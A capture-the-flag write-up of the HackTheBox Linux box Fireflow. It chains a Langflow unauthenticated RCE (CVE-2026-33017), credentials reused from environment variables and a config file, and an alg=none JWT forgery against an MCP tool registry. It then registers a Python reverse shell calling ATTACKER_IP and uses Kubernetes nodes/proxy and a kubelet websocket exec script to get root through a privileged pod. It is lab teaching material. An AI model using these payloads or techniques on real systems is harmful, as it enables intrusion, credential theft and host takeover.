hackthebox / medium / linux

Fireflow

Platform
HackTheBox
Difficulty
OS

Summary

Fireflow is a medium Linux box that chains an exposed Langflow instance with a poorly secured internal MCP service. A public playground reveals flow.fireflow.htb and a valid flow ID, which is enough to trigger CVE-2026-33017 for a shell as www-data. Langflow environment variables expose a password that gives SSH access, and a hidden .mcp/config.json file provides credentials for the internal MCP tool registry. The registry accepts unsigned JWTs, allowing us to register a Python tool and obtain a shell as mcp. Its Kubernetes service account can query nodes/proxy, which reaches a kubelet and lets us execute commands inside a privileged node-exporter pod. The host filesystem is mounted at /host, giving us the root flag.

Skills Required

  • Subdomain and virtual host enumeration
  • JWT and Kubernetes API fundamentals
  • Basic Python and reverse-shell usage

Skills Learned

  • Exploiting Langflow unauthenticated RCE (CVE-2026-33017)
  • Abusing JWT alg=none acceptance and role claims
  • Using SelfSubjectRulesReview to enumerate Kubernetes RBAC permissions
  • Using nodes/proxy and the kubelet exec websocket against a privileged pod
Fireflow - Root Path
|
+-- 1. flow.fireflow.htb playground
|     `-- valid flow_id -> Langflow CVE-2026-33017 -> www-data
|
+-- 2. Langflow environment
|     `-- reused password -> SSH user -> user.txt
|
+-- 3. .mcp/config.json
|     `-- MCP credentials -> JWT alg=none + role=admin -> mcp shell
|
+-- 4. Kubernetes service account
|     `-- nodes/proxy -> kubelet -> privileged node-exporter pod
|           `-- /host/root/root/root.txt -> root.txt

Enumeration

A full port scan reveals SSH and HTTPS. The TLS certificate identifies fireflow.htb and its wildcard subdomain.

Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-11 06:30 -0400
Nmap scan report for 10.129.46.84
Host is up (0.044s latency).
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
443/tcp open  ssl/http nginx
|_http-title: Did not follow redirect to https://fireflow.htb/
| ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb

Add the main host to /etc/hosts before starting web enumeration.

10.129.46.84 fireflow.htb flow.fireflow.htb

SMB, LDAP and WinRM are absent. Directory enumeration against the main site is unremarkable, but virtual host fuzzing finds a new host:

flow                    [Status: 200, Size: 1142, Words: 132, Lines: 25, Duration: 71ms]

Foothold

Flow playground and Langflow

The Open Agent button redirects to a playground on the new vhost:

https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25

The UUID-like value is a valid flow_id. The application is running Langflow 1.8.2, and the playground confirms that the service exposes a flow-building API.

Langflow unauthenticated RCE - CVE-2026-33017

Langflow exposes /api/v1/build_public_tmp/{flow_id}/flow for previewing flows. The endpoint does not require authentication and passes attacker-controlled Python to exec() without sandboxing. A valid flow ID is the only prerequisite.

git clone https://github.com/EQSTLab/CVE-2026-33017.git
cd CVE-2026-33017

The target uses HTTPS with a certificate that is not trusted by the exploit's default client. In send_payload(), disable certificate verification before sending the request:

# send_payload() request
requests.post(url, json=payload, verify=False)

Start a listener, run the PoC with the discovered flow_id, and catch a reverse shell as www-data.

nc -lvnp 4444

# exploit output
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lateral Movement

Langflow environment -> SSH

The process environment contains the Langflow superuser password and secret key:

env | grep -i langflow

LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE

The superuser password is reused for SSH. Log in as the local Langflow account and read the user flag.

ssh <langflow_user>@fireflow.htb
cat user.txt

MCP credentials

Hidden files in the user's home directory reveal an MCP configuration:

cat ~/.mcp/config.json

{
  "server": "http://10.129.83.233:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}

The service identifies itself as an MCP AI Tool Registry.

curl http://10.129.83.233:30080/api/v1/version | python3 -m json.tool

{
    "service": "MCP AI Tool Registry",
    "version": "0.1.0",
    "auth": {
        "type": "JWT",
        "header": "Authorization: Bearer <token>",
        "supported_algorithms": ["HS256", "none"]
    },
    "docs": "/docs",
    "endpoints": [
        "POST /mcp",
        "POST /api/v1/auth",
        "GET  /api/v1/tools",
        "POST /api/v1/tools               [admin]"
    ]
}

Unsigned JWT -> MCP admin

Authenticate with the leaked credentials to receive a JWT:

curl -X POST http://10.129.83.233:30080/api/v1/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"langflow-bot", "password":"Langfl0w@mcp2026!"}' | python3 -m json.tool

Decoding the first two JWT segments shows a normal user token:

{"alg":"HS256","typ":"JWT"}
{"sub":"langflow-bot","role":"user"}

The version endpoint explicitly lists none as a supported algorithm. Change the header to alg=none, change the role claim to admin, and keep the existing signature segment. The forged header and payload are:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ

Use the modified token to register tools. First confirm administrative access with a harmless id tool:

export ADMIN_TOKEN='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps'

curl -X POST http://10.129.83.233:30080/api/v1/tools \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -d '{"name":"id", "description":"test", "code":"id"}'

{"status":"registered","name":"id"}

MCP tool to shell

Register a Python reverse shell as another tool:

curl -X POST http://10.129.83.233:30080/api/v1/tools \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -d '{"name":"shell", "description":"reverse shell", "code":"import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(1)\ns=socket.socket()\ns.connect((\"ATTACKER_IP\",4444))\n[os.dup2(s.fileno(),i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"}'

Start a listener and invoke the tool through the JSON-RPC /mcp endpoint:

nc -lvnp 4444

curl -X POST http://10.129.83.233:30080/mcp \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}'

{"jsonrpc":"2.0","id":4,"result":{"content":[{"type":"text","text":""}],"isError":false}}

The callback lands as the mcp user.

Privilege Escalation

Kubernetes service account

The MCP process runs inside Kubernetes. The pod-mounted service account files and environment variables identify the API server:

env | grep -i kubernetes

KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_SERVICE_PORT=443
PWD=/var/run/secrets/kubernetes.io/serviceaccount

ls /var/run/secrets/kubernetes.io/serviceaccount
ca.crt  namespace  token

Without a token, the API server returns 401 Unauthorized. Use the mounted token to query the service account's own RBAC rules with SelfSubjectRulesReview:

export KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export KUBE_API=https://10.43.0.1:443

curl -ks "$KUBE_API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  -H "Authorization: Bearer $KUBE_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}' | python3 -m json.tool

The relevant permission is:

"verbs": ["get"],
"apiGroups": [""],
"resources": ["nodes/proxy"]

nodes/proxy to kubelet

nodes/proxy is a Kubernetes subresource that proxies requests to a node's kubelet. The kubelet exposes pod metadata and command execution on port 10250. Query the pod list and filter for containers running with privileged: true:

export NODE=10.129.83.233

curl -ks "https://$NODE:10250/pods" \
  -H "Authorization: Bearer $KUBE_TOKEN" | python3 -c '
import sys, json
data = json.load(sys.stdin)
for pod in data.get("items", []):
    for container in pod.get("spec", {}).get("containers", []):
        if container.get("securityContext", {}).get("privileged", False):
            print(f"{pod['metadata']['namespace']}/{pod['metadata']['name']}")
            break
'

monitoring/prometheus-prometheus-node-exporter-nmntq

The node-exporter container is privileged and mounts the host filesystem at /host.

Kubelet websocket exec

The kubelet exec endpoint uses a websocket and the v4.channel.k8s.io subprotocol. Save a small client as /tmp/kube_exec.py:

#!/usr/bin/env python3
import asyncio
import ssl
import sys
import websockets

NODE = "10.129.83.233"
POD_NS = "monitoring"
POD = "prometheus-prometheus-node-exporter-nmntq"
CONTAINER = "node-exporter"
TOKEN = open("/var/run/secrets/kubernetes.io/serviceaccount/token").read().strip()
COMMAND = sys.argv[1] if len(sys.argv) > 1 else "id"

async def ws_exec(cmd_parts):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    args = "&".join(f"command={part}" for part in cmd_parts)
    url = (f"wss://{NODE}:10250/exec/{POD_NS}/{POD}/{CONTAINER}"
           f"?output=1&error=1&{args}")
    async with websockets.connect(
        url,
        ssl=ctx,
        additional_headers={"Authorization": f"Bearer {TOKEN}"},
        subprotocols=["v4.channel.k8s.io"],
        open_timeout=10,
    ) as ws:
        try:
            while True:
                data = await asyncio.wait_for(ws.recv(), timeout=5)
                if isinstance(data, bytes) and len(data) > 1:
                    sys.stdout.write(data[1:].decode("utf-8", errors="replace"))
                    sys.stdout.flush()
        except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):
            pass

asyncio.run(ws_exec(COMMAND.split()))

Running commands directly under /root returns nothing because that path belongs to the container. The host root is available below /host:

python3 /tmp/kube_exec.py "id"
# uid=0(root) gid=0(root)

python3 /tmp/kube_exec.py "cat /root/root.txt"
# empty

python3 /tmp/kube_exec.py "cat /host/root/root/root.txt"
# root flag

Key Takeaways

  • Development playgrounds expose attack primitives - a public Langflow flow ID was enough to reach an unauthenticated execution endpoint.
  • Environment variables and hidden config files deserve equal attention - they provided both SSH and MCP credentials.
  • JWT algorithm allowlists must be enforced - accepting none let a user token become an admin token.
  • RBAC permissions need least privilege - nodes/proxy exposed kubelet access from a service account.
  • Privileged containers are host compromise - the node-exporter pod exposed the host root filesystem at /host.